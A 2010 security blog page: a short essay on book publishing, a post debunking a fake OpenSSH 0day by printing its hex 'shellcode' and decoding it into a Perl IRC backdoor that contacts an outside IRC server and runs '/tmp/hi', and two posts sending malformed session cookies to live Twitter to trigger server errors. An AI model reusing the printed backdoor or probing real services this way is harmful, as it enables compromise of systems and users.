Tuesday, February 23, 2010

On Authorship and the Book Publishing Industry

I am not an author. I cut my teeth in the book binding business. And, unfortunately, I have spent a lot of time as a critic. Starting soon, though, I will work in an outsourced editorial department! But, alas, I am not an author. I have enjoyed reading many published works out there by up-and-coming and also accomplished authors. I tend to focus only on a couple genres, most of which others consider boring or commonplace, but so be it. This is just a heads up letting you know where I'm coming from, that's all.


You authors write great books! You really do! Be it historical, fiction, non-fiction, autobiographies, etc., some of you should go down in the annals of all-time authors out there, even if your piece in the tome is not attributed outside of the publishing house. You have great character development, wonderful prose, a well-timed climax, and just an unforgettable narrative in general. But, there are the critics.

Being a critic, don't listen to us. Well, listen to us only if you have no in-house editors and can't afford outsourced ones. More on that later. You're the ones writing the books, keeping the publishing house in business. Critics usually don't work for the publishing house. Rather, they work for periodicals or dailies trying to find controversy than provide editorial insight and services. Critics do have a place, though, at the table, just at the kid's table.

Editors, though, please mind. They are your friends and allies, more so than you realize. These masochists enjoy reading The Chicago Manual of Style (CMS) and helping authors adhere to style guidelines while not ruining the story. They also want authors to avoid having their stories and books torn apart by the critics. Some critics are rightly influential in their criticism and can take a book out of circulation or require a newer editions released sooner than expected. The editors' battles never end.

As an author, don't become an editor unless you need to or want to become one. To pontificate on the merits of split infinitives or dangling participles only furthers you from your goal of writing your story. If you need to, refer to the CMS. Even better, learn how to avoid some common grammar mistakes by incorporating freely-available sentences and structure. Most authors would be abhorred to re-use other authors' works, but please do! This is not plagiarism; this is to help you! The worst case is that you try to write your own grammar style guides whilst not properly trained, failing miserably and feeding the critics all the same.  And, if all you can do is use spell checkers, it's better than nothing.

So, please keep on writing. Involve your editors sooner than later. But, don't sweat the small stuff. You got enough on your plate :-)

Sunday, February 07, 2010

Funny Fake Openssh 0Day

Head over to PenTestIT to view a fake OpenSSH 0day called "openssh-53p1-remote-root.c".  Here's the first fake shellcode:


char shellcode[] =
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a";

Throw that into vi, do a %s/^/sc = sc +/ , massage the the first and last lines and this is what python spits out:
#!/usr/bin/perl
$chan="#cn";
$ke";
while (<$sockG (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="G (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
            sleep 1;
       n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}sleep 1;
       sleep 1;
       ";
while (<$sockn";
            sleep 1;
       #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl

I'm pretty sure that's not what you want going on :-)

Here's the next "shellcode" block:

char fbsd_shellcode[] =
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x76\x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x61\x6d\x2e\x64\x65\x2e\x65\x75\x69\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x7b\x54\x45\x52\x4d\x7d"
"\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70\x2f\x68\x69\x20\x32\x3e\x2f"
"\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b\x2f\x74\x6d\x70\x2f\x68\x69"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x22\x3b\x0a\x77\x68\x69\x6c\x65\x20\x28\x3c\x24\x73\x6f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6c\x65\x65\x70\x20\x31\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x6b\x5c\x6e\x22\x3b\x7d\x7d\x70\x72\x69\x6e\x74\x20\x24\x73\x6f"
"\x63\x6b\x20\x22\x4a\x4f\x49\x4e\x20\x24\x63\x68\x61\x6e\x20\x24"
"\x6b\x65\x79\x5c\x6e\x22\x3b\x77\x68\x69\x6c\x65\x20\x28\x3c\x24"
"\x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2f\x5e\x50\x49\x4e"
"\x47\x20\x28\x2e\x2a\x29\x24\x2f\x29\x7b\x70\x72\x69\x6e\x74\x20"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x23\x21\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x70\x65\x72\x6c\x0a"
"\x24\x63\x68\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x24\x6b\x65\x79"
"\x20\x3d\x22\x66\x61\x67\x73\x22\x3b\x24\x6e\x69\x63\x6b\x3d\x22"
"\x7d\x7d\x23\x63\x68\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x74\x6d\x70"
"\x2f\x68\x69\x20\x32\x3e\x2f\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x3b"
"\x2f\x74\x6d\x70\x2f\x68\x69\x0a";

And the printed out results:
";
while (<$sockn";
             ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}";
while (<$sock";
while (<$sockn";
            sleep 1;
       n";
            #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="sleep 1;
       #!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM}d +x /tmp/hi 2>/dev/null;/tmp/hi";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print ";
while (<$sockn";
            sleep 1;
       k\n";}}print $sock "JOIN $chan $key\n";while (<$sock>){if (/^PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl
$chan="#cn";$key ="fags";$nick="}}#chmod +x /tmp/hi 2>/dev/null;/tmp/hi

Hmm... yeah. Nice shellcode.

Friday, February 05, 2010

Twitter Session Token Fun, Part 2

Recap

To recap Part 1, we have recovered what we assume is the Twitter session ID cookie, _twit_session. This cookie is a doubly-URL encoded, Base64 encoded glob that contains some ASCII strings. One of these strings points to the Ruby on Rails project. Looking through its source code and bread crumbs leads to the file ./vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb. Quickly scanning this file shows a lot of cookie yumminess that is making hungry for some fresh, oven-baked chocolate chips cookies.

Also, something I did not mention before was the very high likelihood that someone else has already documented all of this information, probably in a better format. I haven't read it, if so, since this is more enjoyment on my part. If this is duplicate effort, so be it. I make no claims to originality in this post :-)  And, I'm no xorl.

Analysis

There is a lot in this file. First off, notice this nice documentation:
# A message digest is included with the cookie to ensure data integrity:
    # a user cannot alter his +user_id+ without knowing the secret key
    # included in the hash. New apps are generated with a pregenerated secret
    # in config/environment.rb. Set your own for old apps you're upgrading.

Opening ./config/environment.rb does not show any pre-generated key. This is probably good, since I guess people would not change the secret. Now, if somehow this file is exposed, well, then, you got problems.

So, we got Class CookieStore, with the following def's:
  • initialize
  • call
  • build_cookie (private)
  • load_session (private)
  • marshal (private)
  • unmarshal (private)
  • ensure_session_key (private)
  • ensure_secret_secure (private)
  • verifier_for (private)
  • generate_sid (private)
  • persistent_session_id (private)
  • inject_persistent_session_id (private)
  • require_session_id (private)
Instead of seeing how the cookie is created, I'm interested right now how it's validated when the client sends it back. Looking at that list, unmarshal sticks out like a sore thumb. So, we can be more certain that the Base64 glob of data is a marshaled Ruby / Ruby on Rails object.

Here's the "unmarshal" method:
# Unmarshal cookie data to a hash and verify its integrity.
        def unmarshal(cookie)
          persistent_session_id!(@verifier.verify(cookie)) if cookie
        rescue ActiveSupport::MessageVerifier::InvalidSignature
          nil
        end

From what I've read, the use of "!" and "?" is just a syntactical hint of the method's behavior. Is it an action that might shoot you in the foot? Maybe use the "!" at the end to indicate this. Is the method a question? Maybe use "?" at the end.  persistent_session_id! is called if cookie exists (not nil). This calls verifier.verify on cookie. verifier.verify will return an exception or load the marshalled object and return it. (See the verifier.verify analysis at the end - and I hate it that Blogger doesn't allow for same-page anchors...) The exception is caught by rescue and returns nil.


Apples to Oranges

One attack would be to somehow cause the OpenSSL call to fail. The only variable we control in this is data. Going back to the verify call, data is derived from the cookie, split at the "--" portion. Here's that cookie again:
BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1%0AODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz%0AOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6%0AOkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--155a3cf21b10246345bea30752bde45e6f841de0

So, data will be the doubly-URL encoded, Base64 encoded object to the left and digest will be the ASCII-hex 40 characters to the right. Now, if digest is omitted, generate_digest will still be called with data and the return to verify will hit the comparison, which will be false. But, what would happen if data was omitted?

On WebScarab, navigate to the "Manual Request" tab and choose a request that sends _twit_session. Blank out the data section, leaving the digest section. Click on the "Fetch Response" button and enjoy :-)

Here's the request:
GET https://twitter.com:443/ HTTP/1.1
Host: twitter.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: _twitter_sess=--0f3a3574cd1c1abd0012a67d4cd886f53274a6f5;
Pragma: no-cache
Cache-Control: no-cache

And the response:

HTTP/1.1 500 Internal Server Error
Date: Tue, 02 Feb 2010 02:39:03 GMT
Server: hi
Status: 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache, max-age=300
Set-Cookie: _twitter_sess=BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNo%250ASGFzaHsABjoKQHVzZWR7AA%253D%253D--1164b91ac812d853b877e93ddb612b7471bebc74; domain=.twitter.com; path=/
Expires: Tue, 02 Feb 2010 02:44:03 GMT
Vary: Accept-Encoding
X-Content-Encoding: gzip
Content-length: 1732
Connection: close

[...]
Whoops :-)

So we got InvalidSignature to raise. which sets unmarshal to nil. Now, going up the chain, unmarshal is called by load_session:

def load_session(env)
          request = Rack::Request.new(env)
          session_data = request.cookies[@key]
          data = unmarshal(session_data) || persistent_session_id!({})
          [data[:session_id], data]
        end

If unmarshal returns true, then set data to its return value. Otherwise, set data to the return value of persistent_session_id!.  If you care about what persistent_session_id! does, scan all the way below. Basically, for the example above, data will be set to a new hash containing a :session_id key set to 16 bytes of random data. load_session returns an array with the :session_id key value and the data hash.

Somewhere outside of this file, something cares about data not looking like a true setup hash. I'm too lazy to track this down. My guess is that other Twitter-centric session keys are not added even though the session token is verified.

Simpler Bug
Another bug, even simpler to trigger, is in verifier.verify. We can get digest to equal the results of generate_digest(data) without knowing the secret. generate_digest expects a string. What if it got a non-string? Since data is taken from the cookie, the content will almost always be a string. But, what if we just gave it nil?

data, digest = signed_message.split("--") 
 
For the cookie value, let's just send "--".  The split above will return nil for both data and digest. Let's see what happens to Twitter in this case:


GET https://twitter.com:443/ HTTP/1.1
Host: twitter.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: _twitter_sess=--;
Pragma: no-cache
Cache-Control: no-cache

And response:

HTTP/1.1 200 OK
Date: Fri, 05 Feb 2010 18:15:33 GMT
Server: hi
Content-Type: text/html; charset=UTF-8
Cache-Control: max-age=300
Expires: Fri, 05 Feb 2010 18:20:33 GMT
Vary: Accept-Encoding
X-Content-Encoding: gzip
Content-length: 108
Connection: close

Status: 500 Internal Server Error

Content-Type: text/html





500 Internal Server Error

Note: I had to modify the return because Blogger sucks and interprets HTML within
the pre blocks...


This is interesting in a couple ways. One, it's a different error message than the other entry. Since the server returned a 200, it missed the Twitter custom 500 error page. Interesting, but not much to exploit.

Back in verifier.verified, the generate_digest call fails because of this:

irb
OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new('SHA1'), 'secret', nil)
TypeError: can't convert nil into String
 from (irb):61:in `hexdigest'
 from (irb):61

OpenSSL call fails because of a TypeError (nil vs. a string). Funny enough, if one sends a nil digest, the previous 500 error is sent versus this. One guess for this is that a nil vs. a nil comparison would work later on in verifier.verified.

K., enough on Twitter's session token. This was just to point out how one can go from unknown to source code, and source code to bugs just by some googling and research.

Boring Analysis (can skip :-)

verifier.verified Analysis:
verifier.verified is at ./vendor/rails/activesupport/lib/active_support/message_verifier.rb . Opening that file up reveals a class MessageVerifier with the following methods:
  • initialize
  • verify (yay!)
  • generate
  • generate_digest (private)
def verify(signed_message)
      data, digest = signed_message.split("--")
      if digest != generate_digest(data)
        raise InvalidSignature
      else
        Marshal.load(ActiveSupport::Base64.decode64(data))
      end
    end
The code splits the passed in string into two parts, data and digest. It then calls generate_digest, with the data portion. If they do not equal each other, then an exception is raised. Otherwise, the data is trusted. It is Base64 decoded and then the object is directly loaded.

We'll come back here, but let's look at generate_digest:


private
      def generate_digest(data)
        require 'openssl' unless defined?(OpenSSL)
        OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(@digest), @secret, data)
      end
 
The data portion of the cookie is ran through OpenSSL SHA1 HMAC. (@digest is set in the initialize method, which is set to SHA1.) Read up on RFC2104 or the Wikipedia page on HMAC for more information. It is not trivial to spoof a signature. An attacker would need to know the secret key to roll his or her own signature on a request.

So, if digest does not equal generate_digest(data), then an exception is raised. Otherwise,  the Ruby native Marshal [1] class is used to load decoded object and return it as a value.

[1] http://ruby-doc.org/core/classes/Marshal.html

persistent_session_id! Analysis


def persistent_session_id!(data)
          (data ||= {}).merge!(inject_persistent_session_id(data))
        end

        def inject_persistent_session_id(data)
          requires_session_id?(data) ? { :session_id => generate_sid } : {}
        end

        def requires_session_id?(data)
          if data
            data.respond_to?(:key?) && !data.key?(:session_id)
          else
            true
          end
        end 
 
The above made me hit ruby-doc.org to get a better understanding. From persistent_session_id!, if the passed in data hash exists, then use data; else set data to an empty hash. (An empty hash returns nil [1].) From here, merge! into the data hash the results of inject_persistent_session_id(data), which better be a hash.

From inject_persistent_session_id, call requires_session_id? with the passed in data hash. requires_session_id? will see if a session_id is required to be set. If this is required/true, then set the :session_id key in data hash to the results of generate_sid. Otherwise, set data to an empty hash.

From requires_session_id?, check the data hash to see if it's true. If not, return as true. Otherwise, check the data hash to see if it respond_to? [2] the .keys? method. If it does (which a hash should do), then check to see if data hash has a key of :session_id. If so, return false.

So, for this whole thing, since the passed in hash was empty, it has a new key created (:session_id) by generate_sid.

Here's generate_sid:


def generate_sid
          ActiveSupport::SecureRandom.hex(16)
        end
./vendor/rails/activesupport/lib/active_support/secure_random.rb

I'm not remotely qualified to discuss the merits of the pseudo-random number generator. Take a look if you care. The end result is 16 bytes (128 bits) of random data will be returned in an ASCII-hex string representation.

[1] http://ruby-doc.org/core/classes/Hash.html
[2] http://ruby-doc.org/core/classes/Object.html

Monday, February 01, 2010

Twitter Session Token Fun, Part 1

Twitter Session Token

Session identifiers are fun to examine. As the wiki article states, sometimes they are random (or not so random) pieces of data that are associated somehow to some identity. Other times they actually contain information within the token itself. These latter session identifiers are fun to understand, play with, and possible exploit if a vulnerability is present.

With this, let's take a look at Twitter. I used Samurai WTF as my assessment platform, running in a VM on Mac. I use WebScarab as my man-in-the-middle proxy, with Firefox as the browser. Here's what a request / response to Twitter looks like when its session token is sent:

GET http://twitter.com:80/ HTTP/1.1
Host: twitter.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://twitter.com/
Pragma: no-cache
Cache-Control: no-cache

HTTP/1.1 200 OK
Date: Mon, 01 Feb 2010 17:09:21 GMT
Server: hi
X-Transaction: 1265044162-33784-6588
Status: 200 OK
ETag: "c6977efec59729f1cb0c6327c1ba573b"-gzip
Last-Modified: Mon, 01 Feb 2010 17:09:22 GMT
X-Runtime: 0.02254
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Expires: Tue, 31 Mar 1981 05:00:00 GMT
X-Revision: DEV
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_q=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_page=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_status=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: param_in_reply_to_status_id=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
